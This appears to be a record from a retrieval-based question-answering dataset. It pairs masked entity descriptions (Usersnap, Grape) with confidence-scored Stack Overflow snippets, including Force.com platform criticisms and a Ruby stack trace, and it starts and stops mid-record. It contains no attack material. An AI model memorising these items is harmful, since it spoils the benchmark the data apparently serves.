it s a whole world of pain . 4 . Visual force pages need to be bound to SObjects otherwise there s no way to get the standard input fields like the datepicker or select list to work . 5 . The eclipse-plugin is ok if you want to work by yourself but if you want to work in a large team with the eclipse-plugin forget it . It doesn t handle synchronizing to and from the server it crashes and it isn t really helpful at all . 6 . THERE IS NO DEBUGGER If you want to debug it s literally debug by system.debug statements . This is probably the biggest problem I ve found .. . .. . 7 . Their MVC model isn t really MVC . It s a lot closer to ASP.NET Webforms . Your views are tightly coupled to not only the models but the controllers as well . 8 . Storing a large amount of documents is not feasible . We need to store over 100gb s of documents and we were quoted some ridiculous figure . We ve decided to implement our document storage on amazons S3 infrastructure .. . .. . 9 . Even tho the language is java based it s not java . You can t import any external packages or libraries . Also the base libraries that are available are severely limited so we ve found ourselves implementing a bunch of stuff externally and then exposing those bits as services that are called by force.com .. . .. . 10 . You can call to external SOAP or REST based services but the message body is limited to 100kb s so it s very restrictive in what you can call . In all honesty whilst there are potential benefits to developing on something like the force.com platform for me you couldn t use the force.com platform for true enterprise level apps . At best you could write some basic crud style applications but once you move into anything remotely complicated I d be avoiding it like the plague . Comment : RESTful API is now available for force Comment : JSON Serialization and De-Serialization is available for Non SObject . Comment : How did you integrate your Amazon document storage with Salesforce assuming that you did", "Question : We re currently looking at using the Force.com http : www.salesforce.com platform platform as our development platform and the sales guys and the force.com website are full of reasons why it s the best platform in the world . What I m looking for though is some real disadvantages to using such a platform . .. . Answer : Considering Force.com is a cloud platform its ability to act as a client to an external WSDL-defined service is pretty underwhelming . See http : force201.wordpress.com 2010 05 20 when-generate-from-wsdl-fails-hand-coding-web-service-calls for what you might end up having to do .", "Question : null .. . Answer : I work remotely so I always have to connect to COrporate VPN . I m having issues with proxy setting that are needed for Force.com IDE . I was able to access Salesforce.com both sandboxes and production from IE Chrome or firefox but not able to connect using force.com IDE Eclipse . I tried to check for proxy settings in Internet Options but all I can see is Automatically Detect Settings is selected and nothing else . I tried calling my company helpdesk and they are asking me to call either Salesforce Eclipse teams to find what is wrong with it . : .. . .. . So not sure how to get proxy host and port details .", "Question : I created a simple visualforce page to override the standard salesforce.com page for New and Edit for a Custom Object . It is pretty simple it was just because in the standard salesforce.com page the textarea was not wide enough since the form is splitted in two columns . Or am I wrong Is there a way to accomplish that without creating a custom visualforce page Well here is the code : .. . .. . Ok the page looks good on force.com but when I open it from within the salesforce1-App on my iPad it has the same style like on force.com and not the nice styling like the other standard salesforce.com page- forms in the salesforce1-App .. . Answer : You can have textarea span 2 columns in std page layout by putting it to separate section and setting columns to 1 . Just hover over the section header click the wrench icon on the right and you should get a popup like this : .. . .. . enter image description here http : i.stack.imgur.com GDnUP.png .. . .. . I d say for such change it s bit of an overkill to go full VF page route . But if you really need it or my trick won t work - there are few questions on Salesforce-dedicated site that might be a good start for you : .. . .. . http : salesforce.stackexchange.com questions 22290 sfdc-styleguide-usage-questions-in-salesforce1 .. . http : salesforce.stackexchange.com questions 25541 salesforce1-look-feel-in-visualforce .. . http : salesforce.stackexchange.com questions 27788 how-to-do-visualforce-page-with-the-same-look-feel-as-salesforce1 .. . http : salesforce.stackexchange.com questions 37111 mobile-view-one-one-app-differs-from-native-salesforce1-view not really related but it s my answer so : P Seriously though - the presentations I ve linked to in that answer really helped me to kick off my development", "Question : We re currently looking at using the Force.com http : www.salesforce.com platform platform as our development platform and the sales guys and the force.com website are full of reasons why it s the best platform in the world . What I m looking for though is some real disadvantages to using such a platform . .. . Answer : I think other people have covered the disadvantages in more depth but to me it doesn t seem to use the MVC paradigm or support much in the way of code-reuse at all . To do anything beyond simple applications is an exercise in frustration compared to developing an application using something like ASP.Net MVC . Furthermore the tools the data-layer and the frustration of trying to refactor code or rename fields during the development-process doesn t help . I think as a CMS it s pretty cool but as a platform for non CMS applications it s doesn t make sense to me .", "Question : We re currently looking at using the Force.com http : www.salesforce.com platform platform as our development platform and the sales guys and the force.com website are full of reasons why it s the best platform in the world . What I m looking for though is some real disadvantages to using such a platform . .. . Answer : The security model is also very very restrictive.. . but this isn t the worst part . You can t currently assert whether a user has the ability to perform a particular action . You can check to see what their role is but you can t check if that role has permissions to perform the current action . Even worse is the response from tech support to try the action and if there s an exception catch it", "Question : We re currently looking at using the Force.com http : www.salesforce.com platform platform as our development platform and the sales guys and the force.com website are full of reasons why it s the best platform in the world . What I m looking for though is some real disadvantages to using such a platform . .. . Answer : I see you ve gotten some answers but I would like to reiterate how much time is wasted getting around the various governor limits on the platform . As much as I like the platform on certain levels I would very strongly highly emphatically recommend against it as a general application development platform . It s great as a super configurable and extensible CRM application if that s what you want . While their marketing is exceptional at pushing the idea of Force.com as a general development platform it s not even remotely close yet . The efficiency of having a stable platform and avoiding big performance and stability problems is easily wasted in trying to code around the limits that people refer to . There are so many limits to the platform it becomes completely maddening . These limits are not high-end limits you ll hit once you have a lot of users you ll hit them almost right away . While there are usually techniques to get around them it s very hard to figure out strategies for avoiding them while you re also trying to develop the business logic of your actual application . To give you a simple sense of how developer un-friendly the environment is take the lack of debugging environment referred to above . It s worse than that . You can only see up to 20 of the most recent requests to the server in the debug logs . So as you re developing inside the application you have to create a New debug request select your name hit Save switch back to your app refresh the page click back to your debug tab try to find the request that will house your debug log hit find to search for the text you re looking for . It s like ten clicks to look at a debug output . While it may seem trivial it s just an example of how little care and consideration has been given to the developer s experience . Everything about the development platform is a grafted-on afterthought . It s remarkable for what it is but a total PITA for the most part . If you don t know exactly what you are doing as in you re certified and have a very intimate understanding of Apex it will easily take you upwards of 10-20x the amount of time that it would in another environment to do something that seems like it would be ridiculously simple if you can even succeed at all . The governor limits are indeed that bad . You have a combination of various limits database queries rows returned script statements future calls callouts etc . and you have to know exactly what you are doing to avoid these . For example if you have a calculated rollup formula field on an object and you have a trigger on a child object it will execute the parent object triggers and count those against your limits . Things like that aren t obvious until you ve gone through the painful process of trying and failing . You ll try one thing to avoid one limit and hit another in a never ending game of whack a limit . In the process you ll have to drastically re-architect your entire app and approach as well as rewrite all of your test code . You must have 75 test code-coverage to deploy into production which is actually very good thing but combined with all of the other limits it s very burdensome . You ll actually hit governor limits writing your test code that wouldn t come up in normal user scenarios but that will prevent you from achieving the coverage . That is not to mention a whole host of other issues . Packaging isn t what you expect . You can t package up your app and deliver it to users without significant user intervention and configuration on the part of the administrator of the org . The AppExchange is a total joke and they ve even started charging 5K just to get your app listed . Importing with the data loader sucks especially if you have any triggers . You can t export all of your data in one step that includes your relationships in such a way that it can easily be re-imported into another org in a single step for example a dev org . You can only refresh a sandbox once a month from production no exceptions and you can t include your data in a refresh by default unless you have called your account executive to get that feature unlocked . You can t mass delete data in custom objects . You can t change your package names . Certain things can take numerous days to complete after you have requested them such as a data backup before you want to deploy an app with no progress report along the way and not much sense of when exactly the export occurred . Given that there are synchronicity issues of data if there are relationships between the data there are serious data integrity issues in that there is no such thing as a transaction that can export numerous objects in a single step . There are probably some commercial tools to facilitate some of this but these are not within reach to normal developers who may not have a huge budget . Everything else the other people said here is true . It can take anywhere from five seconds to a minute sometimes to save a file . I don t mean to be so negative because the platform is very cool in some ways and they re trying to do things in a multi-tenant environment that no one else is doing . It s a very innovative environment and powerful on some levels I actually like VisualForce a lot but give it another year or two . They re partnering with VMware maybe that will lead to giving developers a bit more of a playpen rather than a jail cell to work in . Comment : More that 2 years after this answer what about the platform these days Has it improved some of this cumbersome issues are solved or at least aliviated Comment : Bump im also want to know if things are changed during those 2 years . Comment : I can t comment on the AppExchange but I found this thread after mashing salesforce.com sucks into google in frustration with triggers and governor limits and jumping through hoops to deal with very simple data....just lots of it . Take that as you will Comment : @Yaroslav I ll see your two years and add another three and change . It has made some token improvements but by and large this answer is still correct .", "Question : I created a simple visualforce page to override the standard salesforce.com page for New and Edit for a Custom Object . It is pretty simple it was just because in the standard salesforce.com page the textarea was not wide enough since the form is splitted in two columns . Or am I wrong Is there a way to accomplish that without creating a custom visualforce page Well here is the code : .. . .. . Ok the page looks good on force.com but when I open it from within the salesforce1-App on my iPad it has the same style like on force.com and not the nice styling like the other standard salesforce.com page- forms in the salesforce1-App .. . Answer : To get the styling right consider using the Mobile Design Templates : https : developer.salesforce.com en mobile services mobile-templates templates-faq . I think you would also benefit from reviewing this slide deck : http : www.slideshare.net developerforce visualforce-in-salesforce1-1-1 . It specifically asks developers to avoid using pageBlocks in Salesforce1 . The author of those slides is Sandeep Bhanot who in general is a great person to connect to on Twitter Youtube etc for all your Salesforce1 needs .", "Question : I am using picklist in force.com site but for some reason all values of picklist are not showing up on the force.com site few of them are already displaying . I have also enabled all values for this record type . In fact this values of picklist are already seen in inside salesforce but not on the force.com site . Thank you for your response . .. . Answer : Try to check your Salesforce as the step below : .. . .. . maybe you can check your field s Field-Level Security first . If you think it s correct . Then check the user s that you used for login Profile access of the Object or maybe fields . If you don t want to give the access for the Profile then you can add Sharing access for the Profile Comment : Thanks for the comment But this is only for the force.com site out side of salesforce : Site guest users profile . When I have tried to test it inside with proper login credential . it is working as expected . Thanks", "Question : I want to show my site inside the Salesforce iFrame and when someone does any activity on my site inside the iFrame i want to update the Salesforce page as well Can i do this please suggest Comment : what do you mean by Salesforce iFrame Are you using the iFrame on a VF page or are you using the iFrame in a standard page layout .. . Answer : A more recent approach now GA is Force.com Canvas http : wiki.developerforce.com page Force.com Canvas - this is iframe-based with additional security and features including passing context such as Salesforce fields into the iframe . It also enables the iframed web app to call Salesforce APIs based on that authentication either via JavaScript or by your backend web app Python Java etc using the credentials from the Canvas framework . You can also use the new Events feature within Canvas to send messages to the framing Salesforce page . On authentication options : the Canvas Signed Request authentication is recommended and easy but note that it doesn t give you a refresh token for OAuth2 - so if you need to do continuing background processing based on the user s authentication you should use the Canvas OAuth2 authentication instead which does give you a refresh token . Overall Canvas is cleaner than using a raw iframe and should simplify development . It does require some changes to authentication in the iframed web app but they are relatively simple 10 lines or so of Python . Comment : Thanks RichVel . Canvas approach is looking good . I will check this out . Comment : @techagrammer - good have added a bit on authentication as well . Upvotes are always an option of course :", "Question : I would like to know whether there any option to connect to the external db in the salesforce platform . Thanks Easwar .. . Answer : You cannot use an external database for your Salesforce data if that s what you re asking . Salesforce data for Accounts Contacts Opportunities etc . is housed on the Salesforce platform . However using an integration service http : www.salesforce.com platform cloud-infrastructure integration.jsp or web-services REST API etc . you can connect or sync to an external database . Here s a list of integration services : .. . .. . 1 . Informatica Cloud http : www.informaticacloud.com .. . 2 . Cast Iron http : www-01.ibm.com software integration cast-iron-cloud-integration .. . 3 . SnapLogic http : www.snaplogic.com what-we-do integration-platform .. . 4 . Boomi http : www.boomi.com .. . 5 . JitterBit http : www.jitterbit.com .. . 6 . Sesame Relational Junction http : www.sesamesoftware.com rj4salesforce.html .. . .. . Information on other tools to integrate Salesforce with other databases is available here : .. . .. . 1 . Salesforce Web Services API http : www.salesforce.com us developer docs api index.htm .. . 2 . Salesforce Bulk API http : www.salesforce.com us developer docs api asynch index.htm .. . 3 . Salesforce Rest API http : www.salesforce.com us developer docs api rest index.htm Comment : also include Pervasive Datacloud Comment : shall we create our own java Webservice and use it in Salesforce Apex code to perform the database operations on the other DBs Please reply. . Comment : @Azeez It depends on your business and application-design but yes you could do that . If you want to use an integration service it s recommended that you use that instead of a web service to communicate between systems SF and external DBs .", "Question : null .. . Answer : After saving the Cases using VF page for creation by the site user in Force.com Site Case got successfully created in Salesforce but i am not able to view the created case in site Showing Authorization Error Guest profile has Read ability in Case Object", "Question : I am new to Salesforce development and Apex . I would like to create a VisualForce page but I prefer to work with my preferred IDE tools and workflow such as writing my AngularJS code with Typescript and compile and run my workflow using gulp . I have check the Canvas but I don t really like the idea of iframe . Is there any way to do what I want within the force.com IDE or build it externally then deploy to force.com Any guide will be helpful to get me started . Thanks . .. . Answer : Hi I ve made several visual force pages using Jsforce https : jsforce.github.io start with that library you can connect angularjs application with salesforce using pure javascript .", "Question : The company I work for is building a managed force.com application as an integration with the service we provide . We are having issues working concurrently on the same set of files due to the shoddy tooling that is provided with the force.com Eclipse plugin . If 2 developers are working on the same file one is given a message that he can t save -- once he merges he has to manually force the plugin to push his changes to the server along with clicking 2 Are you really sure messages . Basically the tooling does a shoddy job of merging in changes and forces minutes of work every time the developer wants to save if another person has modified the file he s working on . We re currently working around this by basically locking individual files by letting co-workers know who is editing a file . It feels like there has got to be a better way in this day and age . Does anyone know of a different toolset we could use process we could change or anything we can do to make this easier .. . Answer : Take a look at the Development Lifecycle Guide : Enterprise Development on the Force.com Platform . You can find it on developer.force.com s documentation page http : wiki.developerforce.com index.php Documentation . Comment : The manual basically says the same thing that eyescream says above .", "Question : I am using picklist in force.com site but for some reason all values of picklist are not showing up on the force.com site few of them are already displaying . I have also enabled all values for this record type . In fact this values of picklist are already seen in inside salesforce but not on the force.com site . Thank you for your response . .. . Answer : Try to set all CRUD permissions @JooKang Comment : This answer could benefit from a more elaborate explanation Comment : Thanks for the comment", "Question : Is it possible to develop Single Page Application on Force.com platform using HTML5 and AngularJS - without using Visualforce page and Salesforce s Aura framework .. . Answer : If you don t want to use capabilities of Visualforce Apex page controllers visualforce tags etc you can develop Single Page Application with AngularJS or any other modern Javascript framework using for interaction with back-end part such ability as Visualforce Remote Objects . Here https : developer.salesforce.com docs atlas.en-us.pages.meta pages pages remote objects example simple.htm is short example of using it . Also you can you Salesforce REST API see this article https : developer.salesforce.com blogs developer-relations 2014 07 building-single-page-app-angularjs-salesforce-rest-api.html ." ] }
[ "yes-answer-long", "yes-answer-short" ]
crm
UNK_RELATION
usersnap@web@47
usersnap -- usersnap is a screenshot tool for @placeholder development .
{ "confidence": [ 41.092838287353516, 34.1338005065918, 20.880451202392578, 17.98362922668457, 17.98362922668457, 15.60692310333252, 15.60692310333252, 15.60692310333252, 15.60692310333252, 15.60692310333252, 15.60692310333252, 15.60692310333252 ], "content": [ "Usersnap looks interesting but I can t find much information on it beyond what is on their site .", "Usersnap https : usersnap.com offers a JIRA https : usersnap.com jira integration Installation Docs https : usersnap.com doc connect jira so it should be a drop in replacement for the JIRA Issue Collection plugin .", "Having a screenshot from your customer is often a live saver - imagine The button is too small bug reports without knowing which exact button .", "I am reading the documentation here http : usersnap.com support docs javascript for custom methods I can use but I am not able to get the information on how many users opened the widget but didn t use it to send me a feedback .", "Can I use beforeSend to count those users events somehow and the to compare with the feedback I am receiving in GitHub Issues", "We ve used the JIRA Issue Collection plugin to handle our websites user feedback form in the past but would like to give users more capabilities like screenshots and annotations .", "Has anyone else used it or a similar library or service", "Thanks", "Moreover your users don t need to install anything it s fully browser based .", "Thanks Gregor .", "We ve been testing it out and it works really great .", "I was just wondering if the user community has any feedback since you are a founder ." ] }
{ "confidence": [ 51.537696838378906, 16.862043380737305 ], "content": [ "Question : We ve used the JIRA Issue Collection plugin to handle our websites user feedback form in the past but would like to give users more capabilities like screenshots and annotations . Usersnap looks interesting but I can t find much information on it beyond what is on their site . Has anyone else used it or a similar library or service Thanks .. . Answer : Usersnap https : usersnap.com offers a JIRA https : usersnap.com jira integration Installation Docs https : usersnap.com doc connect jira so it should be a drop in replacement for the JIRA Issue Collection plugin . Moreover your users don t need to install anything it s fully browser based . Having a screenshot from your customer is often a live saver - imagine The button is too small bug reports without knowing which exact button . Comment : Thanks Gregor . We ve been testing it out and it works really great . I was just wondering if the user community has any feedback since you are a founder .", "Question : null .. . Answer : I am reading the documentation here http : usersnap.com support docs javascript for custom methods I can use but I am not able to get the information on how many users opened the widget but didn t use it to send me a feedback . Can I use beforeSend to count those users events somehow and the to compare with the feedback I am receiving in GitHub Issues" ] }
[ "yes-answer-long", "yes-answer-short" ]
web
UNK_RELATION
grape@maven@37
grape -- grape lets you quickly add @placeholder repository dependencies to your classpath or grape is a rest-like api micro-framework written in ruby to sit on top of rack .
{ "confidence": [ 80.06568145751953, 74.9023208618164, 68.62411499023438, 68.21717834472656, 68.21717834472656, 68.12721252441406, 66.83789825439453, 66.24183654785156, 66.02239990234375, 65.6800308227539, 65.41702270507812, 65.08082580566406, 65.00839233398438, 65.00666809082031, 64.94779205322266, 64.70177459716797, 64.57489013671875, 64.44978332519531, 64.24481964111328, 63.48176574707031, 63.05176544189453, 62.89677429199219, 62.31016540527344, 61.62104797363281, 61.1712646484375, 60.883663177490234, 60.153682708740234, 60.06805419921875, 59.480377197265625, 59.44212341308594, 59.378021240234375, 59.25362014770508, 58.85220718383789, 58.61940002441406, 58.604713439941406, 58.445892333984375, 58.32298278808594, 58.32298278808594, 58.102664947509766, 57.8409423828125, 57.47393035888672, 57.16111755371094, 57.150917053222656, 57.1014404296875, 56.84333038330078, 56.78204345703125, 56.78204345703125, 56.4160270690918, 56.296287536621094, 56.287506103515625, 56.279449462890625, 56.223106384277344, 56.00215148925781, 55.94953536987305, 55.90483093261719, 55.90483093261719, 55.766387939453125, 55.28617858886719, 54.89701843261719, 54.59980773925781, 54.584205627441406, 54.4981803894043, 54.36984634399414, 54.170562744140625, 53.773902893066406, 53.74696350097656, 53.74696350097656, 53.74696350097656, 53.74696350097656, 53.734527587890625, 53.54539489746094, 53.14995574951172, 52.89170837402344, 52.73054504394531, 52.720001220703125, 52.54295349121094, 52.453277587890625, 52.453277587890625, 52.42261505126953, 52.385982513427734, 52.31882858276367, 52.31882858276367, 52.30034637451172, 52.30034637451172, 52.30034637451172, 52.29225158691406, 52.079769134521484, 51.874786376953125, 51.74822235107422, 51.441627502441406, 51.40991973876953, 51.3109245300293, 50.84043884277344, 50.84043884277344, 50.554161071777344, 50.49193572998047, 50.49193572998047, 50.49193572998047, 50.40306854248047, 49.769371032714844 ], "content": [ "The Grape https : github.com ruby-grape grape framework is an alternative to the Ruby on Rails framework not something you add-on top .", "I am building a REST API in Ruby using Grape https : github.com ruby-grape grape .", "Looks pretty straightforward here : github.com ruby-grape grape-swagger response-documentation https : github.com ruby-grape grape-swagger response-documentation", "https : github.com ruby-grape grape-entity", "https : github.com ruby-grape grape helpers", "It is more to do with Rack than Grape .", "Question .. . .. . I ve been messing with ruby grape grape-entity and activerecord .", "You could use gem grape-swagger https : github.com ruby-grape grape-swagger provided by Grape team add two lines in you config.ru .", "Use custom formetter to redefine XML root https : github.com ruby-grape grape-on-rack commit 87c4b97db955cd3cdb4a5d2903e28373b59bc3f2", "I m building a web API with Ruby and Grape .", "Grape locale en.yml https : github.com ruby-grape grape blob master lib grape locale en.yml", "I m adding REST api with the grape gem .", "This is answered in https : github.com ruby-grape grape pull 939 pointed from https : github.com ruby-grape grape issues 1300 .", "Like grape-entity https : github.com intridea grape-entity you mean", "I am using grape gem for API and grape-entity to generate responses .", "See https : github.com ruby-grape grape minitest-1 and https : github.com brynary rack-test for further details .", "I m using Rails Grape for API Grape-Attack for API throttling .", "Here I am using grape-swagger-rails https : github.com ruby-grape grape-swagger-rails gem with Grape in Rails 4.2 .. . .. . We have to add the method add swagger documentation after mounting the all grape apis .", "I love the grape grape-swagger grape-entity combination for building API s .", "Trying to run a Grape Rack API off it .", "By the way Grape has a pretty good documentation https : github.com ruby-grape grape blob v0.13.0 README.md .", "I use Grape https : github.com intridea grape to create an API in rails .", "the only thing I found in the grape https : github.com ruby-grape grape documentation is shown in the attach image .. . .. .", "I recently worked on a API service and I m using Grape https : github.com ruby-grape grape framework but I don t quite understand how can I write rspec for my API", "I m told that the endpoint providing the API is written in Ruby or Grape .", "I think the type you re looking for is Rack : : Multipart : : UploadedFile or just File : .. . .. . It s one grape supported types as here https : github.com ruby-grape grape supported-parameter-types .", "gem grape-entity github : intridea grape-entity branch : master", "This is the structure of my Grape API .", "not working with grape .", "I am using grape-swagger to show documentation on my Ruby API i m building using Grape .", "ruby-grape https : github.com ruby-grape grape-entity suggests the following code for custom formatting a field : .. . .. . However I ve noticed that the value which is the object s attribute is not available in this scope .", "https : github.com ruby-grape grape-entity issues 23 .. . .. . It contains with an idea which way you can override it .", "Why not add this to grape in a pull request", "According to the documentation https : github.com ruby-grape grape-entity entity-organization organizing my entities within each model results in this : .. . .. . Grape will automatically detect the Entity class and use it to present your models .", "There are numerous example apps on the grape website : http : www.ruby-grape.org examples .. . .. . For example this is an example with a Rspec test for a grape app integrated with rails : .. . .. . https : github.com ruby-grape grape-on-rails .. . .. . Hope this helps .", "I m using grape 0.9.0 .", "I m using Grape to build an API .", "I m using Rails with Grape as API .", "Is there a way with Grape Grape-Entity to automatically serialize data into an entity", "See the doc here https : github.com ruby-grape grape blob v0.12.0 README.md declared .", "I m trying to achieve this with Grape .", "I am using grape- swagger for API documentation .", "I am using Grape and Rails to create a REST API .", "how is declared your grape resources", "I created an API using Ruby and the Grape API library on Windows .", "Maybe there s something similar in grape-swagger or grape-swagger-rails .", "When searching I found grape https : github.com intridea grape .", "Hi I am new to Grape API .", "I m using Grape for building rest apis .", "Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape middleware base.rb : 18 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems rack-1.6.4 lib rack head.rb : 13 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems rack-1.6.4 lib rack builder.rb : 153 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape endpoint.rb : 202 : in call", "I m using grape 0.14.0 with grape-entity 0.5.0 to create a XML API within my Rails 4.2.5 app .", ".. . .. . Check the following github conversation .. . .. . https : github.com ruby-grape grape-swagger-rails issues 58", "Is it not possible to both accept a and a 0 with Grape", "I have a set of grape APIs which run on Rack .", "how can I implement authenticate or request with http token in grape API .", "I am building a grape-api for a rails app .", "Grape is a lightweight framework for building API s and when you send a request to the Grape API endpoint the response doesn t go through all the Rails middlewares instead it goes through a thin set of Rack middlewares .", "There s a feature request filed here https : github.com ruby-grape grape-entity issues 185 which is also where I got this from :", "I m using Goliath and Grape .", "Could it be tripping up Grape", "I have a grape-api with this function in my class .", "I m using grape gem ref https : github.com intridea grape .", "I m using grape and grape-entity in a Rails 4.2.1 project and I m running into a weird error with presenting using the right model .", "Are you using Grape Entity to expose your models", "Why is grape interpreting the params this way", "Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape middleware base.rb : 24 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape middleware base.rb : 24 : in call", "Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape middleware base.rb : 18 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape middleware base.rb : 24 : in call", "Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape middleware base.rb : 18 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape middleware error.rb : 27 : in block in call", "Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape middleware error.rb : 26 : in catch Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape middleware error.rb : 26 : in call", "Ex : .. . .. . intridea grape https : github.com intridea grape .. . bloudraak grape-sample-blog-api https : github.com bloudraak grape-sample-blog-api blob master app api blog api.rb .. . djones grape-goliath-example https : github.com djones grape-goliath-example blob master app apis posts.rb .. . .. . While this approach works fine as is it can quickly become crowded and difficult to maintain so I would like to split things up on my app .", "I m working with a Grape API running on Goliath .", "As you probably already know grape pulls down all the dependencies at runtime .", "UPDATE .. . .. . Another solution to your problem is to change your Grape API .", "How to post multiple rows into DB using ruby Grape .", "What does the Grape resource definition look like", "I also added the grape-entities gem .", "I m using grape for restful service .", "How can I do in Grape", "If you declare it twice then only one will be used by Grape .", "https : github.com dblock grape-on-rails blob master spec api ping spec.rb from an example project https : github.com dblock grape-on-rails", "There is a feature request which will partially solve this : github.com intridea grape issues 827 https : github.com intridea grape issues 827", "I m having a problem with connecting Json payload from Grape serialized with Grape entity with Ember reflexive model .", "I m currently implementing a JSON based Grape API .", "I am building API endpoints with Grape .", "What would this root be in case of my Grape API", "You can use Rack : : Test as described in this blog post http : armoredcode.com blog build-an-api-for-fun-with-grape .", "Need help in rendering Swagger documentation with grape framework .", "I m writing an API server with grape and i choose to use grape-entity because it has the capability to auto generate the documentation for swagger .", "The Grape : : Entity class has an represent method .", "I m using the grape-swagger https : github.com tim-vandecasteele grape-swagger gem and I m being unable to get a Grape-based API properly described in Swagger .", "I am creating an application using ruby grape and mongoid .", "This sounds like a good application for the grape-active model serializers https : github.com jrhe grape-active model serializers plugin .", "I have a grape API that provides some endpoints and doorkeeper to handle authorization .", ": Output grape entities with a custom formatter depending the API method .", "I m using grape-swagger and grape-swagger-rails to document my API and it works fine but when I click in Try it out", "I am trying to upload a file to grape 0.7.0 .", "Because grape don t validate that the param is present .", "How I can achieve this using GRAPE", "I m using grape to build my restful API but when I try to integrate it with Swagger via grape-swagger gem it throws .. . .. . when I visit http : localhost : 3000 swagger doc url .. . .. . Here is my gem versions : .. . .. . rails 4.2.4 .. . grape 0.8.0 .. . grape-swagger 0.20.0 .. . .. . And here is my directory structure files : .. . .. . api api base.rb api graduates.rb .. . .. . In my routes file I am just mounting the grape-api base .", "On my goliath server it calls the grape-api like so : .. . .. . On my grape-api class my method is as simple as this : .. . .. . I d like to modify the headers - specifically the Content-Length but unsure how to ." ] }
{ "confidence": [ 86.16981506347656, 84.4517822265625, 82.35596466064453, 81.04219055175781, 80.83035278320312, 80.31143188476562, 78.680908203125, 77.57275390625, 77.2778091430664, 75.528564453125, 75.45860290527344, 74.63131713867188, 74.44058227539062, 73.96894836425781, 73.89665222167969, 73.77739715576172, 73.25358581542969, 72.55569458007812, 71.51860809326172, 71.33251953125 ], "content": [ "Question : I recently worked on a API service and I m using Grape https : github.com ruby-grape grape framework but I don t quite understand how can I write rspec for my API .. . Answer : You can use Rack : : Test as described in this blog post http : armoredcode.com blog build-an-api-for-fun-with-grape .", "Question : I wrote an api to upload a image file to server . when I am upload without a file it will be error .. . .. . I tried to rescue it like this : .. . .. . rescue from Grape : : Exceptions : : ValidationErrors do e error e.message 404 end .. . .. . but it doesn t work . Here is error message : E 2015-11-23T22 : 17 : 44.337050 10646 ERROR -- : avatar is invalid Grape : : Exceptions : : ValidationErrors remote address : 127.0.0.1 token : Basic bGl4aWJveDpsaXhpYXBpMTIzNA method : POST path : api v1 users change avatar.json query : avatar undefined Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape endpoint.rb : 249 : in block in run Users macstore1 .rvm gems ruby-2.1.6@lixibox gems activesupport-4.2.1 lib active support notifications.rb : 166 : in instrument Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape endpoint.rb : 219 : in run Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape endpoint.rb : 201 : in block in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape middleware base.rb : 24 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape middleware base.rb : 24 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape middleware base.rb : 18 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape middleware base.rb : 24 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape middleware base.rb : 18 : in call Users macstore1 projects lixibox app controllers api v1 api error handler.rb : 9 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape middleware base.rb : 18 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape middleware error.rb : 27 : in block in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape middleware error.rb : 26 : in catch Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape middleware error.rb : 26 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape middleware base.rb : 18 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems rack-1.6.4 lib rack head.rb : 13 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems rack-1.6.4 lib rack builder.rb : 153 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape endpoint.rb : 202 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape endpoint.rb : 190 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems rack-mount-0.8.3 lib rack mount route set.rb : 152 : in block in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems rack-mount-0.8.3 lib rack mount code generation.rb : 96 : in block in recognize Users macstore1 .rvm gems ruby-2.1.6@lixibox gems rack-mount-0.8.3 lib rack mount code generation.rb : 75 : in optimized each Users macstore1 .rvm gems ruby-2.1.6@lixibox gems rack-mount-0.8.3 lib rack mount code generation.rb : 95 : in recognize Users macstore1 .rvm gems ruby-2.1.6@lixibox gems rack-mount-0.8.3 lib rack mount route set.rb : 141 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape api.rb : 114 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape api.rb : 44 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems grape-0.13.0 lib grape api.rb : 39 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems actionpack-4.2.1 lib action dispatch routing mapper.rb : 51 : in serve Users macstore1 .rvm gems ruby-2.1.6@lixibox gems actionpack-4.2.1 lib action dispatch journey router.rb : 43 : in block in serve Users macstore1 .rvm gems ruby-2.1.6@lixibox gems actionpack-4.2.1 lib action dispatch journey router.rb : 30 : in each Users macstore1 .rvm gems ruby-2.1.6@lixibox gems actionpack-4.2.1 lib action dispatch journey router.rb : 30 : in serve Users macstore1 .rvm gems 